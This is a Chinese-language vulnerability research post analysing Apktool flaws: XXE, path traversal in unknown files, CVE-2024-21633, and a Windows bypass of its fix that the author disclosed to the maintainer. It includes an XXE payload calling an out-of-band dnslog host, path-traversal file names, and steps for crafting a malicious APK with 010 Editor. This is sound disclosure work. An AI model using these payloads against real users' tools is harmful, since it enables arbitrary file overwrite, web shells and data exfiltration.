简介

项目地址 https://github.com/iBotPeaches/Apktool

做过Android逆向应该都知道这个工具吧 ....不再赘述了

本文会分析Apktool的历史漏洞,并且基于研究结果发现新的apktool漏洞

历史漏洞

XML外部实体漏洞 XXE

这个漏洞是Apktool在解析AndroidManifest.xml文件时,不会禁用外部实体引用,导致存在XML外部实体注入攻击(XXE)漏洞
回退版本至2.2.2 499c2f9039ba55c2bbc4ab7dc7b28c6e6cb78d92
先生成一个正常的APK,apktool decode之后修改AndroidManifest.xml
添加

<!DOCTYPE manifest <!ENTITY xxe SYSTEM '[https://target/sayhi;'>]>
&xxe;

不过我这里回编译的时候会报错 orz,直接去看漏洞代码吧,漏洞代码的具体位置在 fixingPublicAttrsInProviderAttributes方法

解析文件是

Document doc = loadDocument(file);

内部实现为

private static Document loadDocument(File file)
            throws IOException, SAXException, ParserConfigurationException {

    DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
    DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
    return docBuilder.parse(file);
}

可以发现此处就是直接对AndroidManifest.xml文件进行解析,并没有禁用外部实体
修复之后的代码变成了

public static Document loadDocument(File file)
            throws IOException, SAXException, ParserConfigurationException {

    DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
    docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);
    docFactory.setFeature(FEATURE_LOAD_DTD, false);

    try {
        docFactory.setAttribute(ACCESS_EXTERNAL_DTD, " ");
        docFactory.setAttribute(ACCESS_EXTERNAL_SCHEMA, " ");
    } catch (IllegalArgumentException ex) {
        LOGGER.warning("JAXP 1.5 Support is required to validate XML");
    }

    DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
    // Not using the parse(File) method on purpose, so that we can control when
    // to close it. Somehow parse(File) does not seem to close the file in all cases.
    try (FileInputStream inputStream = new FileInputStream(file)) {
        return docBuilder.parse(inputStream);
    }
}

其中这部分代码进行了安全限制,禁止了在AndroidManifest.xml中对DOCTYPE的引入

docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);
docFactory.setFeature(FEATURE_LOAD_DTD, false);

try {
    docFactory.setAttribute(ACCESS_EXTERNAL_DTD, " ");
    docFactory.setAttribute(ACCESS_EXTERNAL_SCHEMA, " ");
} catch (IllegalArgumentException ex) {
    LOGGER.warning("JAXP 1.5 Support is required to validate XML");
}

2.2.2这里的XXE是需要build apk的时候才能触发 那能够在decode的时候触发XXE吗
在thinkycx师傅的博客里提到了 - https://thinkycx.me/2017-12-18-Apktool-XXE-analysis.html#generated-hash-5

但是看起来当时应该没有构造出这个恶意APK
那么我们是否可以使用010editor来构造这个恶意AndroidManifest.xml文件,直接生成对应的APK,让apktool2.2.2 decode的时候触发XXE
使用dnslog来构造恶意XML,测试之后发现这样是可以触发的

<!DOCTYPE root [
        <!ENTITY  % dtd  SYSTEM "http://b5g7im.dnslog.cn">
        %dtd;
        %all;
        %send;
        ]>
<resources>
    <string name="app_name">My Application</string>
    <string name="test">
        aaaa
    </string>
</resources>


接下来看怎么用010editor把恶意payload加进去
先尝试了一下注释的方式
发现直接没有了

另外strings.xml的内容在010editor里面查看,并不是连续分布的

所以我们并不能直接去修改这个文件的内容,感觉确实利用不了了

unknownFiles路径穿越漏洞

这个漏洞是Apktool在2.2.2版本以下存在目录穿越漏洞,可以打包一个文件到恶意的apk中,在apktool 解包时造成任意文件写入。如果在web环境中,可以用来写shell

回退版本至2.2.2 499c2f9039ba55c2bbc4ab7dc7b28c6e6cb78d92

具体的解码UnknownFiles在decodeUnknownFiles

public void decodeUnknownFiles(ExtFile apkFile, File outDir, ResTable resTable)
            throws AndrolibException {
    LOGGER.info("Copying unknown files...");
    File unknownOut = new File(outDir, UNK_DIRNAME);
    try {
        Directory unk = apkFile.getDirectory();

        // loop all items in container recursively, ignoring any that are pre-defined by aapt
        Set<String> files = unk.getFiles(true);
        for (String file : files) {
            if (!isAPKFileNames(file) && !file.endsWith(".dex")) {

                // copy file out of archive into special "unknown" folder
                unk.copyToDir(unknownOut, file);
                // lets record the name of the file, and its compression type
                // so that we may re-include it the same way
                mResUnknownFiles.addUnknownFileInfo(file, String.valueOf(unk.getCompressionLevel(file)));
            }
        }
    } catch (DirectoryException ex) {
        throw new AndrolibException(ex);
    }
}

创建一个恶意的APK动态调试分析 名字为../../../aaa,在2.2版本下 可以看到aaa逃逸了出来

构建一个测试方法 动态调试寻找答案

@Test
public void checkUnknowFileDecode() throws AndrolibException, IOException, DirectoryException {
    String apk = "temp/app-debug.apk";

    ApkDecoder apkDecoder = new ApkDecoder(new File(apk));
    apkDecoder.setForceDelete(true);
    apkDecoder.setOutDir(new File(apk + ".out"));
    apkDecoder.decode();
}


可以看到这里会将不符合这个条件的unknownfile复制到 unkownOut文件夹路径下

!isAPKFileNames(file) && !file.endsWith(".dex")

unkownOut路径是 temp\app-debug.apk.out\unknown
判断已知的文件名方法为

private boolean isAPKFileNames(String file) {
    for (String apkFile : APK_STANDARD_ALL_FILENAMES) {
        if (apkFile.equals(file) || file.startsWith(apkFile + "/")) {
            return true;
        }
    }
    return false;
}

所以这里出现路径穿越的原因已经很明显了
接下来回到apktool最新版本,检查这个问题是否真正修复了,新版本中的实现代码为

private void copyUnknownFiles(File outDir) throws AndrolibException {
    LOGGER.info("Copying unknown files...");
    File unknownOut = new File(outDir, UNK_DIRNAME);
    try {
        Directory unk = mApkInfo.getApkFile().getDirectory();

        // loop all items in container recursively, ignoring any that are pre-defined by aapt
        Set<String> files = unk.getFiles(true);
        for (String file : files) {
            if (!isAPKFileNames(file) && !file.endsWith(".dex")) {

                // copy file out of archive into special "unknown" folder
                unk.copyToDir(unknownOut, file);
                // let's record the name of the file, and its compression type
                // so that we may re-include it the same way
                mApkInfo.addUnknownFileInfo(file, String.valueOf(unk.getCompressionLevel(file)));
            }
        }
    } catch (DirectoryException ex) {
        throw new AndrolibException(ex);
    }
}

但是检测代码不在这个里面 而是在

private void loadAll() {
    mFiles = new LinkedHashSet<>();
    mDirs = new LinkedHashMap<>();

    int prefixLen = getPath().length();
    Enumeration<? extends ZipEntry> entries = getZipFile().entries();
    while (entries.hasMoreElements()) {
        ZipEntry entry = entries.nextElement();
        String name = entry.getName();

        if (name.equals(getPath()) || ! name.startsWith(getPath()) || name.contains(".." + separator)) {
            continue;
        }

        ....

关键的检测部分在

if (name.equals(getPath()) || ! name.startsWith(getPath()) || name.contains(".." + separator)) {

而 separator 是

所以我们立马把payload从../../../aaa改成 ..\..\aaaa来攻击windows的设备
第二处检测的代码在

public static String sanitizeFilepath(final File directory, final String entry) throws IOException, BrutException {
    if (entry.isEmpty()) {
        throw new InvalidUnknownFileException("Invalid Unknown File");
    }

    if (new File(entry).isAbsolute()) {
        throw new RootUnknownFileException("Absolute Unknown Files is not allowed");
    }

    final String canonicalDirPath = directory.getCanonicalPath() + File.separator;
    final String canonicalEntryPath = new File(directory, entry).getCanonicalPath();

    if (!canonicalEntryPath.startsWith(canonicalDirPath)) {
        throw new TraversalUnknownFileException("Directory Traversal is not allowed");
    }

路径经过归一化处理之后

final String canonicalEntryPath = new File(directory, entry).getCanonicalPath();

变成了 E:\temp\Apktool\brut.apktool\apktool-lib\temp\aaaa
接下来对比两个路径的开头,在这里是

  • E:\temp\Apktool\brut.apktool\apktool-lib\temp\app-debug.apk.out\unknown\
  • E:\temp\Apktool\brut.apktool\apktool-lib\temp\aaaa

很显然是不会相同的,由此会抛出错误,进而跳过该文件的覆盖

所以这里确实不再存在漏洞了

CVE-2024-21633 解码时任意文件写入

生成恶意APK

原作者对于这部分只有只言片语,而网上也没啥复现研究的文章,只能自己摸索生成了

这里的图片是

也就是原来的Android项目文件目录结构为 res/raw/test,生成的APK经过某种操作之后,AndroidStudio的APK分析器来查看APK信息的时候,就可以看到2、3位置的信息,即Name和default的名字不一致的情况,Name就是我们构造的路径穿越poc
正常产生的APK这里的信息是

然后进行一通操作,发现即便使用apktool进行反编译 修改了之后apktool回编译又出现了问题;如果直接使用zip软件打开apk进行文件的修改后,也不能改变resources.arsc里面的值。
最后使用010 Editor实现了效果
将APK ZIP解压缩之后,使用010 Editor搜索需要修改的文件名,搜索结果应该是两个,修改没有res/raw/文件目录的那个

重新将文件夹压缩为apk

同样的方法构造恶意Name ../../../../../../../../../../../../tmp/poc

使用kali apktool 2.9.1进行复现

复现没有问题

动态调试

先对问题进行复现,修复commit为d348c43b24a9de350ff6e5bd610545a10c1fc712

回退

git reset --mixed 0741664808724bda41744ad3981bac2eec672d1b

编写方法进行debug

@Test
public void checkPrint() throws BrutException, IOException {
    LOGGER.info("checkPrint...");
    Config config = Config.getDefaultConfig();
    config.forceDelete = true;

    String apk_path = "temp/source.apk";
    String target_path = new File("").getAbsolutePath() + "/" + apk_path;

    LOGGER.info("currentDirectory "+target_path);
    ApkDecoder apkDecoder = new ApkDecoder(config, new File(target_path));
    File outDir = new File( target_path + ".out");
    apkDecoder.decode(outDir);

我们传入恶意APK打断点进行分析 apkDecoder.decode(outDir);

ResourcesDecoder resourcesDecoder = new ResourcesDecoder(mConfig, mApkInfo);

if (mApkInfo.hasResources()) {
    switch (mConfig.decodeResources) {
        case Config.DECODE_RESOURCES_NONE:
            copyResourcesRaw(outDir);
            break;
        case Config.DECODE_RESOURCES_FULL:
            resourcesDecoder.decodeResources(outDir);
            break;
    }
}

如果存在resources.arsc文件则进行解析resources

public boolean hasResources() throws AndrolibException {
    if (mApkFile == null) {
        return false;
    }
    try {
        return mApkFile.getDirectory().containsFile("resources.arsc");
    } catch (DirectoryException ex) {
        throw new AndrolibException(ex);
    }
}

最后进入fileDecoder

for (ResPackage pkg : mResTable.listMainPackages()) {

    LOGGER.info("Decoding file-resources...");
    for (ResResource res : pkg.listFiles()) {
        fileDecoder.decode(res, in, out, mResFileMapping);
    }

    .......
}

漏洞点就在ResFileDecoder文件中

原来资源文件下的res/raw/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa就会被复制到现实目录下的res/raw/../../../../../../../../../../../../tmp/poc,实现了任意文件覆盖
更新到最新版本的apktool,重新分析attack.apk
apktool新增了一个防御检测的方法

public static boolean detectPossibleDirectoryTraversal(String entry) {
    if (OSDetection.isWindows()) {
        return entry.contains("..\\") || entry.contains("\\..");
    }
    return entry.contains("../") || entry.contains("/..");
}

这里的代码含义是 如果是windows环境的话 检测是否在文件名中存在

  • ..\
  • ..

如果是Linux环境的话 检测是否在文件名中存在

  • ../
  • /..

如果检测到了存在敏感关键字的话,就会把 inFileName传递给outResName

if (BrutIO.detectPossibleDirectoryTraversal(outResName)) {
    outResName = inFileName;
    LOGGER.warning(String.format(
        "Potentially malicious file path: %s, using instead %s", res.getFilePath(), outResName
    ));
}

而不是获取到的 res.getFilePath()

梅开二度

但是仔细看CVE-2024-21633这个防御代码 就可以发现其实在windows上还是存在漏洞 因为windows存在路径兼容 ,在windows设备上面可以使用 ../来绕过上面的防御机制,在stackoverflow上面也有人提到 - https://stackoverflow.com/questions/7314606/get-directory-separator-char-on-windows-etc ,如图所示

在windows上仍然存在这个漏洞,修复不完全,所以我提给了作者
https://github.com/iBotPeaches/Apktool/security/advisories/GHSA-vgwr-4w3p-xmjv
具体的利用实现就是 构造了一个新的poc apk,使用apktool2.9.2进行decode

可以看到这个poc文件跑了出来

参考链接